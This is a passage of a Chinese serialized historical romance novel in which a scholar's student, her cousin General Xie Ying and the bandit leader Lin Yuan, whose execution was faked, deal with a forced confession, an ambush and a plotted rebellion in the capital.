“但你不该屈打成招,把一切罪责安到小乞丐头上,逼他认罪!”
“小乞丐本就嫌疑最大,你不是也在他居住的破庙中找到不少梅花针,他当时就言辞含糊,刑讯之后方才招供。所有的一切都合规矩,我没有逼供。”顾平安分辨道。
“你是不是给他承诺,只要听话就能拿到银子给父亲治病?”
“.......”顾平安心虚了,但对于此事他并不后悔。
面对顾平安的沉默,唐黎讽刺地笑道:“你这样做不仅污蔑乞丐害他身死,还让四位死者死不瞑目,诓骗他们的家人凶犯已经伏法,而真正的凶犯你根本就不知道在哪!你哪里配为官?”
顾平安同样激动,毫无风度冲着唐黎吼道:“那还不是你逼的!我本想慢慢查,你偏要将案子上报官府。上头知道了,限期与我。我要是查不到凶手,哼,别说升官,官帽保不保的住还两说。”
“你冤枉死一条人命,还在狡辩。打!打死他!”唐黎气急了,指向顾平安的手不停地在抖,手腕处的两支虾须镯碰撞到叮当响。
顾平安撑着墙慢慢起身,吐了口血水,拔出腰间的佩刀横在胸前,硬气起来:“我乃剿匪功臣,你若真打死了我,怕是太傅也难护你。”
他不仅威胁还亮起刀子要反抗,唐府的护卫犹豫着不敢上前,唐黎拿过护卫的短棍直接轮了下去,却被从天而降的人给拦截住。
谢英将短棍夺下来,扭头训斥唐黎道:“你胆子是越来越大,敢当街殴打朝廷命官。”
“你知不知道他都干了什么?”
谁知顾平安率先告状,他拱手道:“谢将军,末将没事。是唐学子误会末将抢了她入南衙的机会。”
“你胡说!我哪有!”唐黎急忙辩解。
谢英却抬手示意顾平安先行离开,唐黎追着顾平安道:“站住!”
见追不回顾平安便来到谢英旁边,狠狠踩了表哥几脚来撒气。
谢英没有生气,反而安慰唐黎道:“我知道你心情不好,但不能拿顾将军撒气,他是奉命行事。”
“奉谁的命?你们这些大官还会管一个乞丐的死活?”
“什么乞丐?”谢英怎么感觉听不懂唐黎的话。
“梅花针案的凶犯是顾平安屈打成招的。就为了快速结案入南衙升官。”
而谢英的反应是完全不知情。那他方才的话就是另有所指。唐黎警觉的发现并提问道:“表兄说的是何事?”
谢英那一刻是不想说的,但也觉得瞒不住,与其让妹妹从别处听说,倒不如自己来说。
“蔺渊他.....他死了。”
这句话让唐黎震惊到,眼中满是不可置信。但唐黎知道谢英不会骗她的,慢慢地也回过味来,知道表兄那句顾平安奉命行事是何意思,也知道顾平安为何是剿匪功臣。
“顾平安亲手将蔺渊的头颅斩下,晚上就会将头颅奉上金殿。”
唐黎的脸色变了变,只觉得心中有股酸涩的情绪,说不出来却难受至极,好像整颗心都被掏空。她慢慢地摸向腰间的软剑。
说好要还你剑的,为何不等我。
“……”谢英沉默不语,因为他觉得此刻开口劝说,倒像表妹与蔺渊有什么干系似的。
“……”两人就这样沉默了许久。
“哥,斩首会不会很痛?”唐黎忽然抬起头问道。
谢英没想到唐黎会这么问,愣了一下才回答道:“下手干脆利落的话,应该不会痛。”
“那就好,那就好。他最怕痛了。”唐黎低语一句,似乎自言自语,又像是在安慰自己。
这句话让谢英想到从前的师父,他经常会调笑蔺渊是女儿家的面皮,根本碰不得,碰一下恨不得就要青一大块。
是啊,他向来是怕疼的。
等他回过神唐黎已经走远,谢英满怀担心望向唐黎的背影,最起码到目前为止唐黎的情绪没有表示出任何异常。
皇宫内院
高亢的通报声响起:“宣定远将军顾平安觐见!”
夕阳的余辉照在宏伟庄严的大殿上,金碧辉煌的瓦片散发出耀眼夺目的光芒。顾平安双手捧着锦盒亦步亦趋的跟在女官朝着金殿走去。
“末将顾平安拜见陛下万岁!”顾平安恭敬的低着头,高捧锦盒。
“逆贼蔺渊之首级,特奉与陛下。”
高台之上传来柔和的声音:“顾卿卫国奋战着实辛苦。”
自始至终顾平安都没敢抬头面圣
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,他紧张到浑身的肌肉都坚硬无比,还是一旁的女官提醒他才道了告退。
女官将顾平安送离大殿折返回来,正好碰着燕长君抱着长琴,他还如往常一般,无需通报便踏入内殿。
“陛下批了一日的奏折也累了,不如长君为您抚琴?”他摆好琴,刚抚平琴弦正要弹奏,却被女皇的一声出去给吓到没音儿,脸上都笑容也跟着僵硬起来。
在燕长君的眼中女皇向来和蔼,说话从来是柔声细语的,今日是女皇第一次冲着自己发脾气。
“陛下?”燕长君还想争取,女官已经连琴带人给请出去。
“青黛姐姐,陛下今日是怎么了?”
“你有几个胆子敢打听陛下的事?”青黛根本不给他好脸色转身就走。
燕长君虽心生不满却并未表达,笑盈盈的目送青黛的离开。
太平宫中的女官们个个骄傲无比,自认为是陛下钦点更是目中无人。但侍奉陛下的不止有女官,还有内侍太监。
这太监啊,就没女官那般难缠,给点好处什么就都说了。
“陈内侍,马上年节这点心意是我孝敬你的。”他从袖中掏出两锭金元宝。
陈内侍的眼睛笑道眯成一条线,靠近金主小声说道:“侍郎莫急,方才有位将军大咧咧的将人头奉上,陛下看后恶心难受,受了惊吓。”
燕长君默默的点头,心里却不认可这个借口。
陛下何许人也?那是能征善战的巾帼英雄,别说一颗人头,让她亲手砍人头眼睛都不会眨上一眨的。
恐怕另有原因。
他便打听那颗人头的来历。
“呦,怨不得您不知道,也是,这文质彬彬的。”陈内侍说着说着就摸上人家的手,燕长君不动声色的往后退了一步。
“蔺渊啊!白虎山的贼人,被一个姓顾的将军给斩首。”
“这名顾将军定是一员猛将。”
“那倒也不是。奴婢听说人家白虎山同意招安,蔺渊为证诚心特孤身入营,可……”他又贴近燕长君做了个被抹脖子的动作,十分嫌弃的摆手道:“啧啧,这种人,奴婢都瞧不起。”
“长君受教了。”燕长君见问不到什么便打算离开。他抱着琴原路返回,刚入府书童便迎上来道:“先生,今日怎回来如此的早?”
燕长君二话没说先是扇了书童巴掌,书童像习惯似的低头认错。燕长君这才觉得心里的憋屈散些。
他这当街打人的跋扈行为,实在令读书人不耻,不过燕长君并不在乎。他无视围观群众的目光,径直进院。
书童小心翼翼的奉上个白色信封道:“邓州花洲书院送来的讣告。”
燕长君打开扫了一眼道:“老山长死了,谁来接任?我记得苏家不是没人了吗?”
“还剩一位十七岁的少年,名为苏天赐,已有秀才功名,符合继任山主的资格。”
“照老规矩,礼部派个学官去协调书院事宜。”
“是。”书童领命。
“诶,等等,过几天再派人去。先让那小苏山长吃点苦头,要不然他不会领情的。花洲书院可是个金字招牌,我得好好利用。”
“是。”
书童又捧来一堆信件道:“各个书院的学子递的帖子与礼单,都想成为您的门生。”
燕长君得意的挑了下眉,不急不慢的品茶道:“把家世好的留下,剩下,烧了。”
“是。”书童烧着帖子,火光映在脸上,他被打的那半脸显得更红了。
“哦,对了,临近年关给我那些门生送些年货,嘱咐他们努力读书,今年陛下开制科,莫要让我失望。”
56. 人死可以复生
味坊乃京城最著名的酒楼,在此处吃一顿那可不是件容易事。要是能在它的雅间吃上饭更是能吹嘘个一年半载。
恰逢晚间,味坊酒楼的十二间雅间全部满员。店小二正在柜台处平息客官的怒气。
“你这刁小子,说好了晚间留个雅间与我们兄弟的,这会儿怎么说没了?”
店小二陪笑道:“这位军爷,小店从不预留雅间。您怕是误会了。”
“奶奶的。”这人急的挠了下头,抬头看到有间房子没有亮灯便指着道:“那不是一间空房子。”
“里面有人。”
“有人为何不点灯?诓谁呢?”那人直接上了二楼。店小二一路拦着道:“真的有人,小的那敢骗军爷。”
“把门打开!”
“这……雅间里的是位姑娘,这不太好吧。”店小二明显为难。
“打开!”他吼了一声,惹得周围人看了过来。话音还未落从屋中飞出一个茶盏,正中此人眉心。随即屋内传出女子冷冽的声音。
“滚。”
这声不大,羞辱性却极强。
“老子为国征战,如今倒是连饭都吃不上了?”他自嘲的笑了两声,再抬眸是眸间混沌不堪,他混劲儿上来便要带着兄弟们硬闯。
“张肃!”从楼下跑来一人制止这伙人的破门行为,从说话谈吐上来看像这伙兵丁的领导。
“顾大哥,他们欺人太甚。”张肃捂着脑袋委屈的告状。
顾平安瞪他一眼道:“丢人现眼的玩意儿。”他冲着店小二点头致歉拉着兄弟离开。
可那张肃记恨脑门处的伤,转身就将房门踹开。
屋内未点烛光,靠着周围两侧透来的光照亮能看到学朦胧的人影。但看不真切,像是位女子。
又是茶盏飞来,顾平安眼疾手快的接下,对着屋内拱手道:“万分抱歉。”
“……”屋里的人没有说话,直听到倒酒的声音。
店小二这时跑来道:“各位军爷,隔壁空出来,咱们请吧。”他又朝着黑暗的雅间中深深鞠了一躬并上前关好门。
张肃如愿以偿的得到自己想要的,倒满酒自己闷了一大碗,称赞道:“好酒!”
又给顾平安倒酒道:“大哥,喝!”
顾平安就没有他那般好的兴致,夹着菜漫不经心的抿口茶。
今日面圣得了几句夸赞,也就几句夸赞再无其他,这让顾平安摸不着头脑。其他剿匪的同僚不说升官,也都得了不少金银,偏偏自己没有。
倒不是在乎黄白之物,而是区别对待让顾平安心中开始发怵,自己是否做错什么惹恼陛下?
他那帮糙汉子兄弟没有一个看出大哥有心思,眼里只有酒肉美食。喝几口黄汤上了头便开始口无遮拦。
“你们说咱们的陛下到底算不算美人?”
“嗯...年轻时肯定是,如今都年过四十,姑且算是个半老徐娘。”
“咳咳。”顾平安用筷子敲敲碗道:“慎言。”
“顾将军就是太谨慎了,我们也是在夸陛下,陛下听到还会高兴呢。大家伙说是不是?”
“是!”
不同于这个雅间的热闹,隔壁那昏暗的雅间中寂静万分。
也不知过了多久,趴在桌上的人被动静吵醒,她刚睁眼就从眼前划一道身影。完全可以说是破窗而入。
人影刚闪过,紧接着又是一群黑衣人的追赶而过。
屋内的人打了个哈欠,继续趴在桌上雷打不动的睡起来。仿佛方才的一切都没有发生过。
临近年节已是寒冬腊月,没人乐意待在屋外,至于郊外那就更没什么了人。
七八盏灯笼照着亮,三四个小厮挖着土,很快一个坟包就堆砌好了。
身着小将服制的段潇跑到马车前汇报道:“主子,蔺先生的碑立好了,祭品也摆放完毕,就等您下车祭拜。”
身披锦裘的谢英走下车来,面对前方的两处坟包顿感荒凉。他接过段潇递来的酒杯撒在地上道:“师父,我让蔺渊来陪您了。他身体残缺,到了那边您可别吓到,也别心疼。”
他朝着师父的墓拜了拜,起身来到蔺渊的坟前,张了张嘴却只有白气呼出,那一刻他竟然不知道要说些什么。
骂他一顿,亦或者惋惜一二?
罢了,人死为大,之前的种种一笔勾销吧。
他再次接过酒杯郑重的拱手道:“蔺渊,这墓简陋你就将就些吧,等风头过后我再重新修葺。我知道你喝不了酒,但是坟前敬酒是规矩,这酒.....”
“咻!”快箭飞过将谢英手中的酒盏射碎。谢英立马拔刀出鞘,谢家护卫也纷纷护上前来。
不远处传来声响,看上去像是有人被追击,而这冷箭就是射那个人的,不小心误射到酒杯的。
谢英抬手示意大家收刀,闪到一旁不愿掺和其他人的恩怨。
很快那伙人就打到谢英面前,这被追杀的那位谢英也认识,但他选择拢着袖子继续观战。
“谢将军就这般袖手旁观吗?”
“顾将军有万夫当关之勇,用不得在下。”谢英接过段潇递来的暖炉,靠着树一副完全不想管的模样。他对顾平安的印象本就不好。
顾平安暗暗咬着牙,此刻他身疲力竭,根本坚持不住多久。至于这伙黑衣人,他都不知道是怎么招惹到的,好好吃顿饭就冲出这伙人,二话不说就是砍杀。
“主子,咱们真的不管吗?依属下看顾将军要坚持不住。”
“坚持不住,坚持的住那都是他的造化,与我何干?”他看着自己呼出的白气,拉紧身上的翠云裘感叹道:“好冷,上车吧。”
那边才登上车,就听身后发出异响,也不知谁的刀竟锋利到将蔺渊的墓碑劈成两半。
那墓碑就如同被斩首的蔺渊般,一分两半静静地躺在那里。断裂的墓碑刺痛到谢英的神经,他拔刀出鞘从车上飞身而来。
谢英的加入让乱战的局势直接逆转过来。黑衣人畏惧于谢英的勇猛,举着刀威胁道:“阁下何必插手此等闲事,我们只杀他一人!”
谢英嗤笑一声,指着不远处断裂的墓碑道:“是你们先毁了我师叔的清净。”
“……”黑衣人回头看去,他属实没想到墓碑质量这般差。哪里是石料,分明是块豆腐。
谢英的刀指了过来道:“两条路,要么跪地叩头给我师叔赔罪,要么以你的血祭我师叔。”
“谢英你欺人太甚!竟敢让我等拜贼首!”黑衣人气得不轻。
“哦,是吗?”
对于被人识别出身份,谢英并没有惊讶,同样他对于这伙人的
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身份也是心知肚明。他收回刀慢悠悠地说道:“诸位蒙脸搞刺杀,与贼有何异?”
“你!”那人选择不与谢英斗嘴,手中的刀一横道:“让还不让?”
“道歉。”谢英指着坟包意思很明确。不道歉就不能走。
两边都说不通那便只有打喽。
谢家护卫叫来的帮手及时赶到,黑衣人最后因为人少势弱选择撤退。离开前还叫嚣着让谢英等着,看那架势定会报复回来。
“多谢。”顾平安在小厮的搀扶下抱拳道谢。他看起来伤的不轻。
谢英本没想插手此事,但打都打了,帮也就帮到底吧,他道:“先随我回家疗伤。那伙人不敢来谢家撒野。”
“将军与那伙黑衣人相熟?”顾平安问道。
“算认识吧。”
“为何杀我?”
谢英也不愿与他多说,摆摆手让小厮把他拉上马车,自己径直走到断裂的墓碑前,语气中带着丝抱歉:“赶工做出来的墓碑质量不太行。”
“还行吧。”冷不丁有人接了一句。
谢英突然觉得头皮发麻,主要是这声音太过熟悉,分明就是蔺渊的声音。他环顾四周不见人影便以为是自己幻听。
“你没听错,是我。”这回声音更近了些,谢英也察觉到脚步声。紧接着一道身影从黑暗处走来。
死而复生这么玄乎的事不可能发生。那便只有一种可能,坟墓里埋葬的头颅并不是蔺渊的。
而本该死掉的蔺渊正弯腰打量着自己的墓碑,甚至夸赞道:“篆书写的不错。就是碑的质量不太行。”
谢英此刻的脸已经黑到极致,他拔出刀就朝向蔺渊砍去。呼啸的风声充斥耳膜,蔺渊为了闪躲踉跄的摔倒在地,再想起身刀刃紧贴脖颈让他不寒而栗,也划出不短的伤口。
谢英眼神中满是愤怒,刀却始终没砍下去。蔺渊也不躲,就静静地望着谢英。
二人就这样对视许久,蔺渊只觉得浑身冻得僵硬,心口实在堵得慌,张口便吐出一大口污血,还不小心吐到谢英的靴子上,他抬眸充满歉意的冲谢英笑了笑。
谢英的刀还停留在半空之中,见到蔺渊如此狼狈,眼底闪过一抹怜悯,但很快便被愤怒取代,他将手里的刀扔掉,指着蔺渊便道:“你既已假死为何还要回京?想再死一回吗?”
“我回京就是为了证实我还活着,破掉蔺渊已死的传闻。可惜还是晚了一步,那颗头颅已经入宫面圣。”他抹了把嘴角的血迹,微微侧头看向王兴的墓碑囔囔道:“虽说我对这世上没什么眷恋,但不想死的那么窝囊。”
“那颗头颅是怎么回事?”
“不知道。”
这句话给谢英气笑了:“不知道?那依你的意思有人冒充你,替你而死呗。你还不认识那个人?”
“很有可能。”蔺渊煞有其事的点点头。
“有个屁!”谢英抬手就去捡刀,蔺渊见状拔腿就跑,边跑还边说道:“身为世家公子,不可这般粗鲁。”
谢英在他身后追着道:“我这就砍掉你的脑袋埋起来,大家落的个清净。”
蔺渊哪里跑得过顾平安,他喘着粗气摆摆手示意自己跑不动,看他这副狼狈模样谢英抱着刀笑了起来,蔺渊摇摇头也跟着笑了起来,笑着笑着两眼一翻仰面便昏了过去。
57. 拔你胡子
时逢夜半,街道上的灯火几乎堙灭,更夫敲着梆子沿路唱更。味坊三楼的厢房处,谢英守在窗口望着被月笼罩住的月亮紧皱眉头。
大夫背着药箱出来道:“病人体内寒毒未清,风邪入体。没什么大碍。”
“他都吐了两口血,怎会无大碍?”谢英开始质疑大夫的医术。
老大夫慢悠悠的说道:“哦,病人可能与人搏斗过,受过内伤。这是吐血的根源。先生不必担心,老朽配了些药,等病人清醒后让他按时服用即可。”
谢英招呼来店小二道:“你过来听着,按照大夫说的照顾好里面的那人。我明日再来。”
“是。”店小二目送谢英离开。
一旁的大夫就打听道:“不是说你们味坊的厢房向来是满客,怎么里面这位说住就住?”
“老先生有所不知,厢房向来会保留一间上房供我们东家歇脚。”
“你是说....陈郡谢氏?”老大夫点点头,怨不得气质不凡。
“嗯嗯,老先生您快写方子吧。”
送走大夫,店小二一天的工作总算结束。他跟门外守夜的护卫寒暄几声便关上门,插上大锁后狠狠的伸了个懒腰。偏偏今晚就自己一人当班,还偏偏就今晚事多。来福他们再不回来,自己怕是要累死喽。
他拿着盆到后院洗漱,回到大厅见看到楼梯口站着位女子,他当时脑袋就轰的一声。这不是喝酒不开灯的那位姑娘吗?
“姑.....姑娘,您还没走?”
“嗯。”她环顾四周,发现这里像是已经清场的样子。
自己这是睡了多久?
“姑娘?用不用小的通传府里一声?姑娘是哪家的?”
“不必了,我在这有厢房。你去歇着吧。”
“是。有事您招呼。”他嘴上虽说的爽利,但心里却在嘀咕:“我怎么没印象这姑娘订过厢房?许是那会儿忙?账房,或者掌柜办的?”
店小二绕绕头,一甩毛巾也不打算费脑筋多想。人家姑娘说有房,那就是有房。
自然是有房。
谢家留的空房他家表姑娘肯定知晓。唐黎狠劲压了压太阳穴,觉得这酒怪上头的,到现在还有些晕乎乎的。
她推开房门先是在桌边倒了杯茶水,又推开窗户想吹着冷风醒醒酒。转眸间感觉床榻上似乎有人,但光线昏暗她也不敢确定便点亮屋内的烛火。
端着烛台缓步走向床榻,当光亮照耀过来时,床上的人眼皮明显微动几下,可是他依旧处于昏睡状态。
“蔺万宗?”唐黎揉了揉眼睛不敢相信。毕竟传言蔺渊已死,并且连头颅都被斩下。紧接着她扒开蔺渊的衣领,果然颈部处有鲜红的疤痕,像是斩首留下的痕迹。
“这....是梦?”唐黎也拿不准,她用指尖戳了戳蔺渊的胸口,可蔺渊毫无反应。按常理来说,蔺渊定会起身规矩体统的说个没完。
“果然酒不能多喝,都喝出现幻觉了。”唐黎自顾自的摇着头。难不成自己真就这般思念蔺渊?连梦中都有他的身影。
不对,定是今日得知他的死讯,有些惋惜罢了。
是只有惋惜吗?
她看向床上之人,叹了口气:“好好的人三个月没见便没了性命。可叹世事无常。你托梦与我是想说些什么吧?”
“……”
“如果这是梦的话。”唐黎猛地抬头,像是想到什么嘴角忍不住勾起一抹笑。她将烛台放到桌上,匆忙下楼又匆忙折返回来。
“咔咔。”锋利的剪刀在唐黎手中扬起。
她一直好奇不留胡子的蔺渊是何模样,既然在梦中,那便让她好好看看吧!
唐黎手指微动很快就将蔺渊脸上的胡子全剪掉,露出了他原本的容貌。
果然和她猜测的差不多,俊朗不凡。五官深邃分明,轮廓却柔和,组合在一处反而给他平添几分柔美。
如今没了胡子的蔺渊哪里像老古板的夫子,分明是位翩翩郎君,只不过他此刻脸色略有些苍白,好看的眉宇间带着一丝疲惫之色。
“你啊,怎么在梦里还要皱着眉头。”唐黎忍不住伸手摸向蔺渊的眉心,心想若是能将他的眉头抚平该有多好。
“……”
“回京后我打听了你的往事。这些年,你受了太多委屈。”
“……”
“哎,落草也好,起码保不住了命。”
“……”
即使没人与她搭话,她还不停地说道:“所以你和南衙的交易,是为了救自己的家人吧?他们发配北境一定过的很苦吧?”
“你放心,我托人去了北境,定会寻到你的家人,照顾好他们。”
唐黎自言自语的说着,蔺渊从始至终都无反应。
最后唐黎说累了。酒劲儿、困劲儿纷纷上头。她打了个哈欠,昏昏欲睡趴倒在塌上睡着了。
鸡鸣三遍,天已大亮。唐黎被太阳晒得睁不开眼,她迷迷糊糊的抬起头,只觉得浑身酸疼,想抬手揉揉肩头却发现自己的手被人拉住,而床榻上竟然躺着个男人。
被剃了胡子的蔺渊那张脸一时间没在唐黎脑中对上号。唐黎大惊,下意识甩开对方的手立刻要起身,就听身后传来轻微的咳嗽声,随即虚弱的的声音传来:“水。”
唐黎愣在原地,她这才看清楚床上的人,也回忆起昨晚之事。半晌才找到自己的声音:“你没有死?”
蔺渊闭着眼轻轻应了一声。他现在没有力气睁眼,但他认出唐黎的声音。还想再说些宽慰的话,可惜实在提不起力气。
一大早赶过来的谢英进屋就见蔺渊半依在表妹肩头。他反应很快转手就把屋门关上,跟在他身后的人都被拒之门外。
谢英小声道:“你怎么会在这?”
唐黎垂眸认真喂着蔺渊喝水没有回答。
“你们这幅模样就不怕别人说闲话吗?”虽然他知道表妹不拘小节,但人言可畏啊,还是忍不住劝导。
“不怕。”唐黎把茶盏递给谢英让他再倒一杯过来。
谢英倒完水也不交给唐黎,他道:“还是我来吧。”
“随便。”唐黎离开床榻,坐在一旁揉着太阳穴,她总觉得酒可能还是没醒。
“死而复生是什么情况?”
谢英有一下没一下的喂着水:“知道内情的两个人现在都晕着呢。”
“你是说顾平安?”
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>“嗯,昨晚他被人追杀,受了重伤到现在也没醒。”
唐黎看向昏睡的蔺渊有些担忧道:“诈死若是被人识破的话,蔺渊在江湖上混不下了吧?”
“他这种行为可以用背信弃义来形容。估计就连白虎山,他那些兄弟们也不会轻易宽恕他。”
唐黎认可的点点头,想想白虎山危难之际,首领竟然假死逃生,将一众兄弟抛下不管。甚至还会有不明情况的兄弟为给蔺渊报仇而丧命。蔺渊要是解释不出个所以然来......
“不仅在江湖上混不下去,朝廷这边也会追杀他。到底谁这么恨蔺渊?”
“方正勇。”蔺渊虚弱的声音传来。
唐黎连忙坐过来,欣喜万分的道:“你醒了?”
“早就醒了...只是....没力气说话。”他说起话来断断续续,自始至终也没有将眼睛睁开。
唐黎则是转身要走,谢英叫住她道:“干什么去?”
“请大夫。”
“大夫我昨晚已经请过,药也备好了,等他醒了就能喝。”
“好,那我这就去端来。”
等唐黎走后谢英直接上前,很不客气的拍了下蔺渊的脸道:“有什么话就说吧,别跟我装。”
蔺渊试着先睁开一直眼,还是觉得太阳过于刺眼他连忙抬袖挡光,缓了半天才缓过劲儿来。
“你和唐黎是什么关系?”蔺渊问道。这二人的相处方式一看就是熟人,而是还是非常熟悉的那种。
“没什么关系。你问这干什么?”谢英倒不是故意隐瞒,他这人就这样,戒备心重,总是以攻为守。
“没什么,随口问问。”他打算先说正事,于是拱手道:“我来找谢将军帮个忙,帮忙给莫统领递个话。”
谢英想都没想直接拒绝道:“不去。大过年的我可不想自讨没趣。”
“就当给长辈拜年了。帮个忙呗。”蔺渊抬眸,满眼的祈求,眉毛都那么委屈巴巴的。
谢英看不惯他那可怜样,干脆背过身去道:“反正我不去。”
“哦。”蔺渊又躺回床榻上,整理这被子道:“这么多年了你还是怕她。果然小时候给你的阴影太大。”
“谁说!谁说我怕她?”谢英的语调不自然的上扬,他找补道:“本公子那是不跟她一般见识。让着她罢了。”
“那怎会连去她府上都不敢?”蔺渊笑眯眯的看着他,那抹笑容带着丝嘲讽与挑衅。谢英气鼓鼓的抬手道:“有何不敢?”
“请吧。”蔺渊指了下门。
谢英也笑了笑道:“激将法对我没用。不去,不去,就是不去。”
“要去哪啊?”唐黎端着药碗推门而入。对于她的问话谢英与蔺渊都选择闭口不答。
蔺渊接过她送来的药道了声谢便一饮而尽。苦得他嘴角都快咧到后脑勺。
“可有糖?”蔺渊说完话又是咧着嘴,完美诠释什么叫苦不堪言,谢英还在一旁说着风凉话道:“男子汉大丈夫怕什么苦。”
而唐黎属于行动派,她掏包发现自己的糖吃完了,干脆下楼去找小二要糖。连她自己都没有发现,面对“死而复生”蔺渊的要求,她总是第一时间去满足。
58. 没有胡子更好看
蔺渊先拿茶水漱漱口,嘴里的苦味才褪下一些。他灌了好大一口水,缓口气说道:“方正勇要造反。”
不同于蔺渊的平静,谢英几乎是从椅子上跳起来的,问道:“可有证据?”
“是我亲耳听到的。如果说证据的话,目前手里没有。”
谢英瞥了眼蔺渊道:“仅凭你的一面之词,我凭什么信你,万一是你蓄意报复方正勇。毕竟他接受朝廷的招安,已是四品奋勇将军。”
“我知道我的话不可信。但我还是希望你们能正视此事。正月十五燃花灯便是这伙人起事之时。而且那内应之人对皇宫乃至陛下都无比熟悉。”
对于蔺渊提供来的线报,谢英还是信上几分的。
今年确实有传闻元夕时分陛下会出宫与天下万民共赏月、同观灯。只是这没凭没据的上报,恐扰了陛下的兴致,还会打草惊蛇。
此事牵扯归正之人,若是处理不好会让此类人寒心,往后的招安更难推进。
谢英所虑之事蔺渊早已考虑,蔺渊开口道:“找莫见山,没有人比她更在乎陛下的安危。南衙在京中暗桩甚多,即使陛下执意出宫赏灯也可暗中保护。”
“所以你来找我,还有一点是因为我叔父是禁军统领。”
蔺渊点点头。
“好,这事交给我吧。”
“多谢。”
“谢?你谢我干嘛?你为朝廷解忧,理应朝廷谢你。喂,你想不想借此事复活?”
“如何复活?”
“嗯,比如像顾平安似的,救陛下与危难。”
谢英说的法子蔺渊怎会没想过,按理说救驾有功是能换条命,但是.....咱们这位陛下以女子身份坐稳朝堂,就该知道她的手段。
这些年招安不少山头,收纳能人异士入朝为官,此类温情的剿匪政策早就让朝中大臣心生不满,背后议论说女子性情本弱向来是不好战的,又说什么女子心善见不得血污,所以才会让朝廷示弱招安土匪,招来那帮混人竟然与各类臣工平起平坐。
若是此刻归正之人造反,不正是打了陛下温情的脸。那么之前的一切怀柔政策都将被陛下放弃,强人土匪们所面对的只剩屠刀。自己也是屠刀下的一员,面对气头上的女皇陛下,能避则避吧。
所以对于谢英的提议,蔺渊拒绝道:“算了吧。陛下是人中龙凤,你都能看出来的把戏,我就不拿出来丢人现眼了。”
“也许陛下希望你活着?”谢英这么一说,蔺渊刚要捋胡子的手停顿下来,不解的问道:“我与陛下互不相识,陛下为何希望一个贼首活着?”
“我也想不明白。但就是这么个感觉。你知道刺杀顾平安的是什么人?他们是禁军,能使唤动禁军搞刺杀的能是谁?”
“你叔叔?”
面对蔺渊的猜测,谢英无奈的白了他一眼道:“我叔叔与顾平安又没仇。”
“这话说的好没道理,陛下与顾平安能有什么仇?”
“怪就怪在这,顾平安刚带着你的首级进宫,晚上就遭遇刺杀。”
“........所以呢?”蔺渊眨眨眼,他还是没明白顾平安为何会把这些毫无干系的事联系到一起的。
谢英也说不通,他挠挠头坐到蔺渊身边,盯着他道:“真不认识陛下?”
蔺渊很是认真的点头道:“十年前为官,我不过是六品推官,怎会有机会面见当时身为长公主的陛下。后来蔺家遭难便更无机会。”
“说的也是。许是我想多了。行了,我也不跟你聊了,先忙正事去。”他得抓紧把方正勇要造反的消息告知出去。今天已经是腊月二十八,离元宵节没几天了。
“等等!”蔺渊最后嘱咐道:“别和莫见山说此事是我告诉你的。她那人心眼多,保不住会怎么想呢,到时候反倒害陛下处于险境。”
“用你说。”谢英摆摆手,觉得蔺渊的嘱咐纯属废话。
蔺渊躺回床上,他总觉得哪里怪怪的,一时间还想不起来。他思考问题时总是习惯性摸上胡子,而现在那里是空荡荡的,他连忙摸向下巴,那里却是滑溜溜的。
好嘛,总算知道哪里不对劲儿了。
拿到甜食的唐黎推门而进,见蔺渊正盯着自己,她有些不敢看他眸子,低下头道:“没有饴糖,果脯可以吗?”
蔺渊也不接就是盯着唐黎,其实他的眼神并不凶,也不恼,是非常平静的,还带着点重逢的喜悦。
但唐黎还是心虚,毕竟把人家的胡子给剃了,就以为那道视线是灼热的。
“咳咳,那个......”唐黎想解释点什么,但又实在找不到合适的理由。说自己喝多了认为是梦,所以把你胡子剪掉?这理由属实荒唐。
她的小动作都被蔺渊看在眼里,第一次见唐黎这般心虚。他唇角轻勾,笑意直达眼底,并没有怪罪唐黎的意思,可是低着头的唐黎未能发现。
“那个,我不是故意的,昨晚喝的有些多了。”唐黎终于抬起头,对着蔺渊尴尬的一笑,干脆实话实说。
蔺渊听完她的解释,关注点却在她喝酒上。
“下次不许这般晚了还在酒楼喝酒,太危险了。”蔺渊的语气中带着关怀。唐黎以为会被责备,没想到他竟关心起自己来。
“我一般也不喝酒,昨晚....”昨晚是以为你死了,心里边不知道怎么回事就是不舒坦,想着大家都喜欢借酒消愁,就想着也试试。
当然这话唐黎没说出口,她搪塞道:“昨晚特殊情况,我保证日后绝不碰酒。”她举起手就要发誓。
蔺渊拦住她道:“发誓向来是没用的。”
唐黎乖巧的笑道:“其实你没有胡子的样子还挺好看。”说完又觉得自己这话有歧义,不好意思的低下头咬了口果脯。
蔺渊的目光一直停留在唐黎身上,她低垂的睫毛长长的,鼻尖挺翘,一张小嘴正忙活着一口接着一口吞掉果脯,腮帮鼓起的弧度可爱极了。
蔺渊连忙将脑海中的遐想挥去,对自己的学生产生不该有的想法实在是太荒唐了。
“咳咳咳。”可能意乱心烦的缘故,导致蔺渊咳疾发作,他咳嗽到停不下来。唐黎赶紧倒水来,也压不住咳嗽不停地蔺渊。
蔺渊摆摆手示意她不必担心,他早就习惯了,咳过劲儿也就好了。
可唐黎不知道,听着这咳嗽声心都揪起来,哪有这般咳嗽的,谁家的肺能受得了?蔺渊现在咳到眼圈都红了,可见有多难受。
唐黎抬手为他顺气道:“这咳嗽怎么还没好?是因为初月下的寒毒吗?可有看过大夫?”
蔺渊缓了一阵才感觉好多了,他嗓音沙哑道:“无碍。不见凉风就没事。”
唐黎起身便把所
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有的窗户都给关上,回到蹋前又替他掖了掖被角,她坐在塌边:“我认识位太医,不如请他来给你看看?”
“不必了,我这药吃的效果不错。”蔺渊婉拒了唐黎的好心。他低头又轻咳几声道:“还有不到两个月就要府试,准备的如何?”
一问到学业,唐黎就坐不住。本来大过年的被家中亲戚问学业就烦的要死,又想到自己即使过了府试,也赶不上会试,与母亲打的赌要彻底输了。
自由放纵的日子就剩一年,想到这儿唐黎只觉委屈,心情低落到极致。
这些蔺渊自然是不知道的,但他知道任何学子都不想在过年时被问及功课,所以他故意考起功课来,直到把唐黎“逼”走。
唐黎出了味坊的大门,一时间不知该往哪里去。街上车水马龙,大家身着新衣,满怀欣喜的筹备的新年。
年节,天底下最重要的节日,没有人会讨厌这么个阖家团圆,热闹非凡的日子。而唐黎却孤单的立在街边,她比较特立独行。
她就讨厌过年,讨厌回到那不像家的家。
“主子。今儿都二十八了,也该回家了。”三五个不知从哪里冒出的人,跟在唐黎身后。
“母亲安排你们来的?”
“是....是您兄长。”那人小心翼翼的回答道。
唐黎自嘲的笑道:“我就知道,她才不在乎我是否回家。”她大步向前,并嘱咐道:“谁都不许跟着我!”
